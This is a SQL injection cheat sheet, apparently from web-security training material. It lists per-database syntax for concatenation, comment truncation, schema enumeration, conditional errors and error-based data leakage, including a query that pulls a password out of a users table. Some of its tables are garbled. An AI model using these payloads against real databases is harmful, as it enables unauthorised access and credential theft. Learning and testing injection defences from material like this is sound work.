You can concatenate together multiple strings to make a single string.
| Oracle | 'foo'||'bar' |
| --- | --- |
| Microsoft | 'foo'+'bar' |
| PostgreSQL | 'foo'||'bar' |
| MySQL | 'foo' 'bar' [Note the space between the two strings]CONCAT('foo','bar') |
You can extract part of a string, from a specified offset with a specified length. Note that the offset index is 1-based. Each of the following expressions will return the string ba.
| Oracle | SUBSTR('foobar', 4, 2) |
|---|---|
| Microsoft | SUBSTRING('foobar', 4, 2) |
| PostgreSQL | SUBSTRING('foobar', 4, 2) |
| MySQL | SUBSTRING('foobar', 4, 2) |
You can use comments to truncate a query and remove the portion of the original query that follows your input.
| Oracle | --comment |
|---|---|
| Microsoft | `--comment |
| /comment/` | |
| PostgreSQL | `--comment |
| /comment/` | |
| MySQL | `#comment |
| -- comment` [Note the space after the double dash] | |
/*comment*/ |
You can query the database to determine its type and version. This information is useful when formulating more complicated attacks.
| Oracle | SELECT * FROM all_tables
SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE’ |
| --- | --- |
| Microsoft | SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE' |
| PostgreSQL | SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE' |
| MySQL | SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE' |
You can test a single boolean condition and trigger a database error if the condition is true.
| Oracle | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN TO_CHAR(1/0) ELSE NULL END FROM dual |
|---|---|
| Microsoft | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END |
| PostgreSQL | 1 = (SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/(SELECT 0) ELSE NULL END) |
| MySQL | SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a') |
You can potentially elicit error messages that leak sensitive data returned by your malicious query.
| Microsoft | `SELECT 'foo' WHERE 1 = (SELECT 'secret')
Conversion failed when converting the varchar value 'secret' to data type int.
| | --- | --- | | PostgreSQL |SELECT CAST((SELECT password FROM users LIMIT 1) AS int)
invalid input syntax for integer: "secret"
| | MySQL |SELECT 'foo' WHERE 1=1 AND EXTRACTVALUE(1, CONCAT(0x5c, (SELECT 'secret')))
XPATH syntax error: '\secret'` |